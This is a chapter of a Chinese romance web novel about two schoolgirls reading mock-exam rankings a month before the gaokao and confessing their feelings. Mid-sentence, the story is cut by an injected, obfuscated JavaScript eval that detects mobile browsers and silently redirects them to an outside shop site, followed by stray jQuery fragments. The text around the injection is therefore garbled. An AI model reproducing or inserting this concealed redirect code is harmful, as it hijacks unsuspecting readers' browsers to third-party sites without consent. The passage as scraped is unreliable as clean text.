校园里的玉兰谢了，轮到槐花开。一串一串白色的小花从枝头垂下来，风一吹就簌簌地往下掉碎末，落在课桌上、窗台上、倒计时牌上。倒计时牌现在写着"距离高考还有30天"。数字红得发亮，像最后一截烧到最旺的火。
这是最后一次模拟考。
考完最后一门英语的那个下午，宁杳从考场里走出来，把笔帽扣上，抬头看了一眼天。五月的天空蓝得不像话，是那种很深很干净的蓝，像是被人用颜料重新刷了一遍。她深深吸了一口气，肺里灌满了槐花的甜味。
她知道自己考得不错。没有意外，没有失误，每一道题她都稳稳地写下来了。她走回教室的路上经过布告栏，那里已经贴了新成绩单的红纸，一群人在围看，人头攒动。她没停下来，径直走回教室坐下了。
她等一个人。
过了大概十分钟，教室后门被推开了。右楠穗走进来，步子和平时一样散漫，但她的手里攥着一瓶水，瓶盖被捏得变了形，像是攥了一路。她经过宁杳座位的时候没有停，但她的脚步慢了半拍，宁杳听见了那个慢下来的半拍。
然后右楠穗坐到最后一排，低头，把卷子翻来翻去，像是在确认上面写过的每一个字都还在。
宁杳等了两分钟。然后她站起来，走到布告栏前面。
人群散了一些，她站到红纸前面，目光从第一行往下找，找到了自己的名字。第一。然后她继续往下数。
第三十一。右楠穗。
三——十——一。
宁杳站在布告栏前面看着那三个数字，手垂在身侧，指尖微微收拢了一下。三十一名。从一百三十七到八十四，从八十四到四十七，从四十七到三十一。每一步她都陪着走过来的，每一张提纲她都写过，每一个错题她都看过，每一次右楠穗说"这题我不会"的时候她都把笔递过去说"我教你"。
她看着那个名字，忽然觉得鼻子有点酸。她用力吸了一下，把那股酸压回去，嘴角慢慢地弯了上来。
"看到了？"
右楠穗的声音从旁边传过来。宁杳偏头，看见右楠穗不知什么时候站到了她身边，手里那瓶水已经不捏了，被她拿在手上，瓶盖还是歪的。
"看到了。"宁杳说。
"三十一。"
"嗯。"
"历史最高。"
"嗯。"
右楠穗没有再说话。她跟宁杳并排站着，两个人一起看着那张红纸上两个名字——一个在第一行，一个在往下数第十行。中间隔着一段距离，但那距离比八个月前短了很多很多。
右楠穗看着那个"第三十一"看了很久。然后她忽然说了一句话，声音不大，但布告栏前面的人已经走光了，整条走廊都是空的。
"我配得上你了。"
宁杳的手指在身侧轻轻动了一下。她没有转头看右楠穗，目光还落在红纸上，但她开口了。
"你早就配得上了。是你自己不知道。"
走廊安静了几秒。窗外有一阵风把槐花吹进走廊里，白色的碎末落在两个人的校服肩膀上，像一层细小的雪。
右楠穗偏过头看宁杳的侧脸。宁杳没有回头看她，目光还是落在红纸上，但她的嘴角弯着，弯的弧度不大，却清清楚楚的。
"多久了？"右楠穗问。
"什么多久？"
"你说我早就配得上了。你觉得从什么时候开始的？"
宁杳沉默了一会儿。她看着红纸上右楠穗名字后面那个"31"，想了想，偏过头来对上右楠穗的眼睛。
"从你开始放牛奶那天。"
右楠穗愣了一下。她看着宁杳，嘴唇动了动想说什么，但没说出来。
"那时候你一百三十七名，"宁杳说，"你每天早上放一瓶牛奶在我桌上。你那时候也不知道我会不会喝。你也不知道我会不会理你。你就是放了。"
"……你怎么知道我不知道？"
"你每次放完就走。不敢回头。"宁杳笑了一下，"你要是知道我会喝，你不会走得那么快。"
右楠穗被她说中了。她偏过头去，看着布告栏左下角一张被风吹卷了边的通知单，上面印着模糊的字。她的耳廓上慢慢浮起一层极淡的红，藏在头发后面几乎看不出来，但宁杳看见了。
"所以从那时候就配得上了。"宁杳说。"你用自己的成绩证明给我看之前，你早就用别的东西证明完了。"
右
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716609|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
楠穗没有转头。她盯着那张通知单看了一会儿，然后低下头，笑了一下。那个笑从鼻腔里轻轻哼出来的，短促而柔软，像五月风里槐花落下来砸在书本封面上的声音。
"你这话说得——"她顿了顿，"比老师讲的好。"
"那当然。"宁杳把目光收回来，最后看了一眼布告栏上那个"31"，转身往教室方向走。"我年级第一。老师不是。"
右楠穗跟在她身后走了两步。然后她快了一步，走到宁杳身边，两个人的肩膀并排着，之间没有拳头的距离了。
"宁杳。"
"嗯？"
"三十天。"
"嗯。"
"考完——"右楠穗说，声音里带着一种她努力压平但没完全压住的颤动，"考完了，你那个铁盒子，能不能给我看看？"
宁杳的脚步顿了一下。她偏头看着右楠穗，目光在右楠穗脸上停了两秒。
"你怎么知道我有个铁盒子？"
"宿舍楼里传的。你们班女生说你床头上有个小铁盒，谁都不让碰。"
宁杳的耳朵红了。她把脸转回去，看着前面的路，声音闷了一点："……三十天之后再说。"
"那就是能看的意思。"
"我没说。"
"你耳朵说了。"
宁杳把步子加快了半拍，右楠穗也快了半拍。两个人并肩走在槐花纷飞的走廊里，白色碎末落在她们头发上、肩膀上、校服的袖口上，谁都没有去拂。
回到教室，宁杳在座位上坐下来，翻开复习资料。但她看了半天，一行字都没看进去。
她脑子里只有一个念头——三十天之后，铁盒子要给她看了。
那个铁盒子里装了从第一张纸条到昨天所有的东西。每一张纸条她都留着，每一颗星星贴纸的底纸她都没有扔，甚至连第一瓶牛奶的瓶盖她都偷偷收进去过，后来觉得太傻又拿出来了。
三十天之后，右楠穗会看到那些东西。她会看到从很久很久以前开始，宁杳就在攒。
攒的不是瓶子。攒的是她每一次靠近时留下的印子。
宁杳把脸埋进课本里，耳朵红透了。但她嘴角弯着，弯了一整个下午。